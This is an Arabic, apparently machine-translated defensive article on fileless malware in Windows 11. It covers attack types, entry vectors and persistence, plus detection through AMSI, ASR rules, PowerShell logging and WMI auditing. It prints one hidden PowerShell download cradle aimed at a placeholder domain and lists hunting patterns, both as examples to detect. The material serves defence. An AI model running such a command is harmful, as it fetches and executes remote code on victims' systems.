يكشف عن البرامج الضارة التي لا تحتوي على ملفات باستخدام أفضل التقنيات

El برمجيات خبيثة بدون ملفات لقد أصبح هذا الأمر أحد تلك المشاكل التي تستمر في التفاقم في أي بيئة ويندوز حديثة، بما في ذلك ويندوز 11. يتجنب هذا النوع من الهجمات القرص الصلب ويعتمد على الذاكرة والبرامج النصية والملفات الثنائية النظامية الشرعية، مما يجعل من الصعب للغاية على برامج مكافحة الفيروسات القائمة على التوقيعات اكتشافه في الوقت المناسب.

لتحديد موقعه بدرجة من الموثوقية "تشغيل فحص مضاد للفيروسات" ليس كافياًمن الضروري الجمع بين بيانات تتبع العمليات الغنية، وتحليل السلوك، وفحص الذاكرة، والاستخدام الفعال لأدوات التحكم الأصلية في نظام ويندوز (مثل PowerShell وWMI والسجل وAMSI وقواعد ASR وغيرها). علاوة على ذلك، من المهم فهم ماهية البرامج الضارة عديمة الملفات بالتفصيل، وأنواعها المختلفة، وكيفية دخولها إلى الأنظمة، وكيفية استمرارها، والآثار التي تتركها، على الرغم من أن كل ذلك يحدث داخل ذاكرة الوصول العشوائي (RAM).

ما هي البرامج الضارة التي لا تحتوي على ملفات، ولماذا تُعدّ مشكلة كبيرة في نظام التشغيل ويندوز 11؟

عندما نتحدث عن برامج ضارة بدون ملفات نشير إلى رمز الخبيثة لا يحتاج البرنامج إلى ترك ملفات تنفيذية جديدة مرئية في نظام الملفات لكي يعمل. فهو عادةً ما يُدمج نفسه في العمليات القائمة ويُنفذ مباشرةً في الذاكرة، مستفيدًا من أدوات موقعة من مايكروسوفت مثل... PowerShell، WMI، rundll32، mshta أو VBScript/JScriptهذا يقلل من حجمه ويسمح له بالإفلات من اكتشافه بواسطة المحركات التي تحلل فقط الملفات المشبوهة على القرص.

حتى ال مستندات أوفيس، أو ملفات PDF، أو روابط تصيد احتيالي تندرج الملفات التي تُطلق الأوامر والبرمجيات الخبيثة في الذاكرة ضمن هذه الظاهرة، لأن الملف نفسه لا يُقدم معلومات مفيدة تُذكر للتحليل. ويحدث شيء مشابه مع وحدات الماكرو وآلية DDE في Office: حيث يتم تشغيل التعليمات البرمجية الخبيثة مُضمنة داخل عمليات شرعية مثل Word أو Excel، دون ظهور أي ملف تنفيذي غير عادي على القرص.

المهاجمون يتحدون الهندسة الاجتماعية والاستغلالقد يؤدي بريد إلكتروني مرفق، أو رابط لموقع ويب مخترق، أو حتى ماكرو "بريء" إلى سلسلة من العمليات التي يقوم فيها برنامج نصي بتنزيل وتنفيذ حمولة خبيثة في ذاكرة الوصول العشوائي (RAM)، ثم يمحو آثاره في أسرع وقت ممكن. ويتراوح الهدف النهائي بين سرقة بيانات الاعتماد والبيانات الحساسة، ونشر برامج الفدية، وإجراء مراقبة مطولة (هجوم متقدم مستمر)، أو التسلل عبر الشبكة دون أن يتم اكتشافه.

أنواع البرامج الضارة عديمة الملفات وفقًا لبصمتها على النظام

لتجنب الخلط بين المفاهيم، من المفيد تصنيف التهديدات حسب درجة تفاعلها مع نظام الملفاتهذا يوضح ما يبقى، وأين يتم تخزين الشفرة، وما هي الأدلة الجنائية التي تتركها وراءها.

النوع الأول: لا يوجد نشاط للملف

هنا نتحدث عن "التشغيل بدون ملفات" الحقيقي: فالبرنامج لا يكتب أي شيء على القرص. ومن الأمثلة الكلاسيكية على ذلك استخدام ثغرات الشبكة مثل هجمات SMB (مثل هجوم EternalBlue) لتحميل باب خلفي في ذاكرة النواة، مثل DoublePulsar. يتم تنفيذ الهجوم بالكامل في ذاكرة الوصول العشوائي (RAM)، ولا تظهر أي ملفات جديدة في نظام الملفات.

التهديدات التي تندرج ضمن هذه الفئة نفسها البرامج الثابتة المصابة من أنظمة BIOS/UEFI، وبطاقات الشبكة، والأقراص، أو حتى أنظمة المعالجات الفرعية. وتستمر هذه الهجمات حتى بعد إعادة تشغيل الجهاز وإعادة تثبيت نظام التشغيل، وقليلٌ من حلول الأمان تفحص هذا المستوى بدقة. هذه الهجمات أقل تواتراً وأكثر تعقيداً، لكن مزيجها من التخفي والمثابرة وهذا يجعلها خطيرة بشكل خاص.

النوع الثاني: نشاط الأرشفة غير المباشر

في هذه المجموعة، لا يترك البرنامج الخبيث ملفًا تنفيذيًا خاصًا به، بل يستخدم حاويات يديرها النظام ويتم تخزينها في النهاية على القرص. على سبيل المثال، الأبواب الخلفية التي تخزن أوامر أو نصوص PowerShell تُخزَّن هذه العمليات ضمن مستودعات WMI أو سجل نظام ويندوز، ويتم تشغيلها باستخدام عوامل تصفية الأحداث أو مفاتيح التشغيل/التشغيل لمرة واحدة. يوجد مستودع WMI والسجل على القرص كقواعد بيانات شرعية، ويصعب تنظيفهما دون تعديل النظام.

من وجهة نظر عملية، تُعتبر هذه الملفات أيضاً بلا ملفات لأن الحاوية (WMI، السجل، قطاع التمهيد، إلخ) إنه ليس ملفًا تنفيذيًا تقليديًا. كما أنه سهل التنظيف. والنتيجة النهائية هي ثبات خفيف مع أثر "تقليدي" ضئيل للغاية.

النوع الثالث: الهجائن المعتمدة على الملفات

هنا، توجد المنطق الخبيث في الذاكرة، أو في سجل النظام، أو في WMI، ولكنه يحتاج إلى بعض مشغل قائم على الملفاتومن الأمثلة النموذجية على ذلك برنامج Kovter: فهو يسجل فعل shell لامتداد نادر، وعند فتح مثل هذا الملف، يتم تنفيذ برنامج نصي صغير يقوم، من خلال mshta.exe أو ملفات ثنائية أخرى، بإعادة بناء الحمولة الضارة من السجل.

لا تحتوي ملفات "الطعم" هذه على حمولات يمكن تحليلها على هذا النحو؛ بل يكمن المحتوى الحقيقي في حاويات مثل... التسجيل أو WMIولهذا السبب يتم تجميعها عادة تحت مظلة التهديدات التي لا تعتمد على الملفات، على الرغم من أنها تعتمد من الناحية الدقيقة على واحد أو أكثر من عناصر القرص.

متجهات الإدخال والمواقع التي يتم فيها إخفاء الملفات غير الملفية

لتحسين عملية الكشف، يعد رسم الخرائط أمراً بالغ الأهمية. أين يدخل البرنامج الخبيث، وفي أي عمليات أو كائنات يتواجد؟تساعد هذه الرؤية في نشر عناصر تحكم محددة وتحديد أولويات بيانات القياس عن بعد التي تهم حقًا.

في مجال ال مآثر نجد نوعين رئيسيين من الهجمات. من جهة، هناك الهجمات القائمة على الملفات، حيث تستغل مستندات Office أو ملفات PDF أو الملفات التنفيذية أو ملفات LNK أو محتوى Flash/Java القديم المتصفح أو التطبيق الذي يعالجها، لتحميل شيفرة خبيثة في الذاكرة (وهي حالة نموذجية لحملات البريد العشوائي الجماعي باستخدام Word مع وحدات الماكرو). ومن جهة أخرى، لدينا الهجمات القائمة على الشبكة، مثل... WannaCry، حيث تستغل حزمة خبيثة ثغرة أمنية في خدمة (SMB، RDP، إلخ) وتحقق التنفيذ المباشر في مساحة المستخدم أو النواة، دون كتابة أي ملف جديد على القرص.

يوجد أيضًا متجه من الأجهزة والبرامج الثابتة هذا ليس بالأمر الهين. فالأجهزة المزودة ببرامج ثابتة قابلة لإعادة البرمجة (مثل محركات الأقراص الصلبة، وبطاقات الشبكة، وملحقات USB من نوع BadUSB)، أو أنظمة BIOS/UEFI، أو حتى برامج مراقبة الأجهزة الافتراضية المصغرة الخبيثة، يمكنها إدخال تعليمات برمجية تعمل في الخلفية دون علم نظام التشغيل. وتندرج هذه الأساليب ضمن النوع الأول: يستمر خارج نظام التشغيل وهي صعبة للغاية في التدقيق والقضاء عليها.

فيما يتعلق بالتنفيذ والحقن، يستغل المهاجمون كليهما الملفات "العادية" مثل البرامج النصية في الذاكرةيمكن للملفات التنفيذية (EXE/DLL/LNK) أو المهام المجدولة حقن عمليات شرعية. حتى قطاع الإقلاع (MBR/EFI) يمكن التلاعب به بواسطة عائلات البرامج الضارة مثل بيتيا للسيطرة على النظام منذ بدء التشغيل، متجاوزةً نظام الملفات التقليدي.

ومما يزيد الأمر سوءًا، أن الجهات الفاعلة المتقدمة (مثل The Dukes/APT29) قد عرضت حملات مع أبواب خلفية بدون ملفات مثل RegDuke أو POSHSPYوالتي تعيش بالكامل تقريبًا في الذاكرة، وWMI، والسجل، وتجمع بين تقنيات مختلفة لتقليل الآثار.

سلاسل الهجمات التي لا تعتمد على الملفات: المراحل والإشارات التي يجب مراقبتها

على الرغم من أنها لا تترك ملفات تنفيذية مرئية، إلا أن الهجمات التي لا تعتمد على الملفات لا تزال تتبع تسلسل مراحل يمكن التعرف عليه إلى حد ماإن فهمها هو المفتاح لمعرفة الأحداث والعلاقات بين العمليات التي تستحق المراقبة.

1. المرحلة الوصول الأولي.  يعتمد هذا النوع من الهجمات عادةً على التصيد الاحتيالي باستخدام المرفقات أو الروابط، أو المواقع الإلكترونية المخترقة، أو بيانات الاعتماد المسروقة. ومن الشائع جدًا أن تكون نقطة البداية مستندًا من نوع Office، والذي عند تفعيل المحتوى النشط فيه، يُشغّل أمرًا في PowerShell بمعاملات مشبوهة (مثل تجاوز سياسة التنفيذ، أو إخفاء النافذة، أو التنزيل من نطاقات غير مألوفة، إلخ).
2. مرحلة المثابرةهنا يأتي دور مرشحات واشتراكات WMI، ومفاتيح التشغيل التلقائي في سجل النظام (Run، RunOnce، Winlogon)، واستغلال جدولة المهام، وتعديل قطاع الإقلاع. يحاول البرنامج الخبيث ضمان عودة البيئة الخبيثة إلى الذاكرة بعد إعادة التشغيل أو تسجيل الخروج، دون الحاجة إلى إعادة تثبيت ملفات تنفيذية جديدة.
3. المرحلة الحركة الجانبية والتسلقتتيح أدوات النظام نفسها (PowerShell Remoting، وPsExec، وWMI، وRDP) الوصول من جهاز كمبيوتر إلى آخر باستخدام بيانات اعتماد مسروقة. ومرة ​​أخرى، يتم كل هذا "خارج النظام": باستخدام أدوات شرعية مثبتة مسبقًا.
4. المرحلة النهائية: التسرب والتأثيريمكن للبرمجيات الخبيثة تشفير البيانات (برامج الفدية عديمة الملفات)، وتسريب المعلومات إلى خوادم القيادة والتحكم باستخدام المتصفحات أو Bitsadmin أو PowerShell، أو التلاعب بالأنظمة الحيوية. وخلال دورة حياتها، تُخفى المؤشرات الرئيسية في وسائط سطر الأوامر، وهياكل العمليات غير الطبيعية، والاتصالات الصادرة المشبوهة، واستدعاءات واجهة برمجة التطبيقات (API) المُحقونة.

أساليب الهجوم الشائعة بدون ملفات

يشمل مفهوم المظلة غير الملفية العديد من التقنيات المختلفة، ولكن بعضها يتكرر مراراً وتكراراً. ويساعد فهمها في التخطيط. قواعد الكشف السلوكي وحملات الصيد الفعالة.

أحد أكثرها شيوعًا هو البرامج الضارة المقيمة في الذاكرةيقوم المهاجم بتحميل الحمولة الخبيثة في مساحة ذاكرة عملية موثوقة (مثل explorer.exe أو svchost.exe أو متصفح) ويتركها تنتظر الأوامر. وفي حالة برامج التجسس الخفية (rootkits) والاختراقات على مستوى نواة النظام، يكون مستوى التخفي أعلى بكثير، مما يجعل العديد من الحلول التي تعتمد فقط على مساحة المستخدم عاجزة عن اكتشافها.

ومن التكتيكات الأخرى ما يلي: استمرار وجودها في سجل نظام التشغيل ويندوزعن طريق تخزين بيانات مشفرة أو سلاسل نصية مبهمة، ثم إعادة تحميلها باستخدام برامج تشغيل شرعية مثل mshta أو rundll32 أو wscript. يمكن لبرنامج التحميل الصغير أن يدمر نفسه فور تشغيله، بحيث تبقى الآثار المهمة فقط في مفاتيح التسجيل والذاكرة.

كما ترى الكثير من انتحال بيانات الاعتمادبمجرد سرقة أسماء المستخدمين وكلمات المرور، يستطيع المهاجم فتح واجهات تحكم عن بُعد، وتنفيذ البرامج النصية مباشرةً في وحدة التحكم دون كتابة أي ملفات، وزرع أبواب خلفية خفية في نظام إدارة ويندوز (WMI) أو سجل النظام. في بيئات الشركات، يسمح هذا بتنفيذ حملات تجسس مطولة مع احتمال ضئيل جدًا لاكتشافها إذا لم تتم مراقبة استخدام أدوات الإدارة بشكل صحيح.

في الجزء الأكثر وضوحًا، برامج الفدية التي لا تحتوي على ملفات يستطيع هذا النظام تشفير البيانات والتواصل مع بنيته التحتية للتحكم والسيطرة، ويعمل بشكل شبه كامل من الذاكرة. غالباً ما تكون أولى علامات وجود خلل ما هي عندما تكون الملفات مشفرة بالفعل، لأن المراحل السابقة لم تُطلق أي تنبيهات أمنية.

لماذا لا ينجح "حظر كل شيء" في الشركة

قد يبدو من المغري الانتقال مباشرة إلى صلب الموضوع و قم بتعطيل PowerShell، أو حظر وحدات الماكرو، أو منع WMIالمشكلة هي أنك ستعطل جزءًا كبيرًا من العمليات اليومية: PowerShell أساسي للإدارة الحديثة، وOffice هو أداة العمل الأساسية، وWMI هو جوهر إدارة نظام Windows.

ومع ذلك، اعتمدت العديد من محاولات الحماية من الهجمات التي لا تستخدم الملفات على هذا تحديدًا: قوائم بيضاء صارمة للغاية، أو حظر وحدات الماكرو غير الاستراتيجي، أو ببساطة تعطيل PowerShell.exe. لكن المهاجمين يعملون على هذا منذ فترة. تعلم كيفية تفادي تلك العوائق: استخدام نسختك الخاصة من PowerShell، أو تحميلها عبر DLL باستخدام rundll32، أو تجميع البرامج النصية داخل الملفات التنفيذية، أو إخفاء التعليمات البرمجية في الصور (التشفير الخفي)، أو استدعاء PowerShell من خلال أدوات وسيطة.

ومن الأخطاء الشائعة الأخرى الاعتماد بشكل حصري على الحلول التي يتخذون القرار عبر السحابةإذا كان على وكيل نقطة النهاية الاستعلام من خادم بعيد قبل إيقاف النشاط المشبوه، فإن الوقاية في الوقت الفعلي تعاني: فأنت بحاجة إلى الاتصال، بالإضافة إلى ذلك، فإنك تُدخل تأخيرًا يمكن أن يكون قاتلاً في الهجمات السريعة (برامج الفدية، وبرامج مسح البيانات).

عملياً، يتطلب الدفاع ضد البرامج الضارة عديمة الملفات مزيجاً من بيانات قياس عن بعد محلية غنية، ومحركات كشف سلوكي على نقطة النهاية نفسها وكطبقة إضافية، تُستخدم تحليلات السحابة لإثراء المعلومات وربطها وتحسينها. ولكن يجب أن يكون بالإمكان اتخاذ قرار إيقاف عملية ما أو التراجع عن التغييرات محليًا، حتى في وضع عدم الاتصال بالإنترنت.

كيفية اكتشاف البرامج الضارة عديمة الملفات في نظام التشغيل ويندوز 11: القياس عن بُعد والسلوك

تتضمن الاستراتيجية الرابحة مراقبة العمليات والذاكرة والسلوكليس الأمر مقتصراً على الملفات فقط. فالأنماط الخبيثة أكثر استقراراً بكثير من متغيرات البرامج الضارة نفسها، لذا فإن النهج القائم على السلوك هو الأنسب لمواجهة التهديدات الجديدة أو المبهمة.

في بيئة مايكروسوفت، واجهة المسح الضوئي لمكافحة البرامج الضارة (AMSI) يُعدّ هذا عنصرًا أساسيًا. فهو يسمح لك باعتراض البرامج النصية المكتوبة بلغات PowerShell أو VBScript أو JScript (وغيرها من اللغات المدعومة) حتى عند إنشائها ديناميكيًا في الذاكرة. قبل التنفيذ، تُرسل محتويات البرنامج النصي إلى محرك مكافحة البرامج الضارة المُسجّل لدى AMSI، مما يُسهّل اكتشاف السلاسل النصية المشبوهة، والتشويش البدائي، وسلوك البرامج الضارة المعتاد.

علاوة على ذلك، من الضروري أن يكون لديك مراقبة العمليات التفصيليةنقاط البداية والنهاية، ومعرف العملية (PID)، والعمليات الأصلية والفرعية، ومسار الملف التنفيذي، والتجزئات، وشجرة العمليات الكاملة، والأهم من ذلك، سطور الأوامر الكاملة. العديد من مؤشرات الهجوم مخفية خلف العلامات والوسائط. أوامر مثل powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http://dominiotld/payload') لا ينبغي أن تمر هذه الأمور دون أن يلاحظها أحد في بيئة ناضجة إلى حد ما.

La فحص الذاكرة هذا عنصر أساسي آخر. من الضروري تحديد حمولات PE المنعكسة، ومناطق الذاكرة المصنفة على أنها قابلة للتنفيذ في العمليات التي لا ينبغي أن تحتوي عليها عادةً، وأنماط الحقن الشائعة (مثل WriteProcessMemory وCreateRemoteThread وغيرها). تراقب الحلول الحديثة مثل EDR/Managed EDR (EMDR) ومنتجات مثل Microsoft Defender for Endpoint أو منصات مثل SentinelOne هذه العمليات على مستوى النواة لفصل النشاط الضار عن النشاط المشروع.

ويكتمل كل ذلك بضوابط محددة مثل حماية MBR/EFI للكشف عن عمليات التلاعب بقطاع التمهيد وعكسها، ومع القدرة على التقاط مخازن الذاكرة المرتبطة بعمليات التنفيذ المشبوهة حتى تتمكن فرق الاستجابة من إنشاء توقيعات أو قواعد سلوك جديدة.

خطوات عملية في نظام التشغيل ويندوز 11

إلى جانب امتلاكها حلاً قوياً للاستجابة لنقاط النهاية والكشف عنها (EDR)، يوفر نظام التشغيل Windows 11 أدوات تحكم أصلية مفيدة للغاية لجعل الأمور صعبة على البرامج الضارة التي لا تحتوي على ملفات، ولتحسين الرؤية لمهام البحث عن التهديدات.

منع

في PowerShell، يُنصح بتمكين تسجيل كتل البرامج النصية وتسجيل الوحدات النمطيةطبّق الأوضاع المقيدة حيثما أمكن، وراقب استخدام تجاوز سياسة التنفيذ والنوافذ المخفية. يوفر هذا سجلاً للبرامج النصية المنفذة، حتى لو تم إنشاؤها ديناميكيًا، وهو أمر بالغ الأهمية لاكتشاف الثغرات الأمنية اللاحقة باستخدام PowerShell.

ال قواعد تقليل سطح الهجوم (ASR) تتيح هذه الأدوات منع Office من إنشاء عمليات تستهدف PowerShell أو cmd أو mshta أو غيرها من المكونات عالية الخطورة، بالإضافة إلى منع إساءة استخدام WMI أو PsExec عند عدم الحاجة إليها. وعند تهيئتها بشكل صحيح، فإنها تقلل بشكل كبير من مساحة الهجوم غير القائم على الملفات في بيئات العمل المكتبية دون تعطيل سير العمل.

أما فيما يتعلق بالشؤون المكتبية، فمن المهم قم بتأمين وحدات الماكروالهدف هو تعطيلها افتراضيًا، والسماح فقط بوحدات الماكرو الموقعة داخليًا، واستخدام قوائم ثقة صارمة، ومراجعة سير العمل القديم القائم على DDE. والهدف هو ضمان ألا يمنح فتح مستند مُستلم عبر البريد الإلكتروني صلاحيات مطلقة لتنفيذ أي شيء على النظام.

أما فيما يتعلق بجانب المثابرة، فهو أمر ضروري تدقيق WMI والسجل والمهام المجدولةيجب مراقبة اشتراكات الفعاليات. root\Subscriptionفصول دراسية مثل __EventFilter, CommandLineEventConsumer y __FilterToConsumerBindingبالإضافة إلى مفاتيح التشغيل/التشغيل لمرة واحدة والمهام الجديدة التي تستدعي برامج نصية أو ملفات تنفيذية مشبوهة. تُعد أدوات مثل Sysmon مفيدة للغاية في توليد أحداث غنية؛ في البيئات الكبيرة، من المنطقي الاعتماد على نظام EDR ونظام SIEM جيد.

كما هو الحال دائمًا ، فإن الترقيع والتصليد يُعدّ أمن نظام التشغيل والمتصفحات وحزمة Office وخدمات الشبكة خط الدفاع الأساسي. تبدأ العديد من عمليات الاختراق التي لا تعتمد على الملفات باستغلال ثغرات أمنية معروفة كان من الممكن معالجتها بتحديثات دورية.

صيد

من المنطقي تركيز عمليات البحث على أنماط التنفيذ الشاذةعمليات المكتب التي تُشغّل PowerShell أو mshta، وأوامر سطر الأوامر التي تحتوي على downloadstring/downloadfile، والبرامج النصية ذات التشفير الواضح، وعمليات الحقن التلقائي، والاتصالات الصادرة إلى نطاقات مشبوهة أو نطاقات المستوى الأعلى غير المعتادة. يمكن أن يؤدي الربط بين كل هذا ومعلومات السمعة والتكرار إلى تقليل التشويش وكشف الحملات السرية.

وأخيرًا، لا ينبغي للمرء أن ينسى توعية المستخدمين والفرق التقنيةإن تعليم المستخدمين كيفية التعرف على رسائل البريد الإلكتروني التصيدية، والمرفقات الخطيرة، والروابط المشبوهة، أو سلوك الكمبيوتر الغريب (إغلاق النوافذ من تلقاء نفسها، وعمليات وحدة التحكم العابرة) لا يزال يشكل حاجزًا فعالًا للغاية من حيث التكلفة ضد الحملات الضخمة التي لا تستخدم الملفات.

الحقيقة هي أن البرامج الضارة عديمة الملفات لم تعد نادرة، بل أصبحت أسلوبًا شائعًا في الهجمات الموجهة والحملات الضخمة التي تستغل البرامج النصية. التركيز على سلوك العملية، واستخدام الذاكرة، وأصول كل عملية تنفيذإن الاستفادة من AMSI، والقياس عن بعد عالي الجودة، وضوابط Windows 11، ومنصات EDR مع التحليل السلوكي، واستكمال كل هذا بسياسات واقعية لوحدات الماكرو، وPowerShell، وWMI، يضع أي مؤسسة في وضع أفضل بكثير لاكتشاف هذه السلاسل وكسرها قبل أن تتسبب في كارثة.